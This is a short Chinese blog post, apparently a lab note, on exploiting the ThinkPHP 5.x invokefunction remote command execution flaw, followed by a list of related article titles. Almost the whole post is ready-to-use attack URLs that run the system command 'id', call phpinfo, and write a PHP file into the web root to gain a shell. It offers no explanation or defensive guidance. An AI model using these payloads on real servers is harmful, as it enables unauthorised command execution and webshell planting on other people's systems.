启动环境查看端口
? s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1
\[\]=id
? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars
1\[\]=-1
? s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1
\[\]=echo "<?php phpinfo();?>" >>1.php
访问1.php
Thinkphp5x远程命令执⾏及getshell
2301_815255182024-09-24 12:11
相关推荐
jimmyleeee6 分钟前
大模型安全之四:供应链安全小五传输3 小时前
消防总队信创改造实践：国产文件传输服务器解决文件传输难题旭华智能sunvua8 小时前
城市智慧排水安全监测综合解决方案名字还没想好☜9 小时前
Docker 容器安全加固实战:非 root、只读根文件系统、drop capabilities 与最小攻击面华普微HOPERF10 小时前
数字隔离器，光伏微型逆变系统中的安全核“芯”DM今天肝到几点？11 小时前
AI 安全进入「攻防同频」：Gemini 3.8 Flash Cyber 上线、Astra 触及关键级、HiddenLayer 融资 1 亿美元来让爷抱一个11 小时前
2026 智能体安全实战：把护栏写进SPEC，MonkeyCode 云端跑通sungtv12 小时前
大型厂房钢结构施工安全生产动画聚焦哪些风险点Neighbor_OldY12 小时前
云上安全配置审计与误配置修复实战：从安全组、OSS、RAM到数据库的全栈排查复盘磐时信息技术16 小时前
SASETalk | 当智能驾驶驶入未知场景：谈谈关于SOTIF、AI安全与工程落地的思考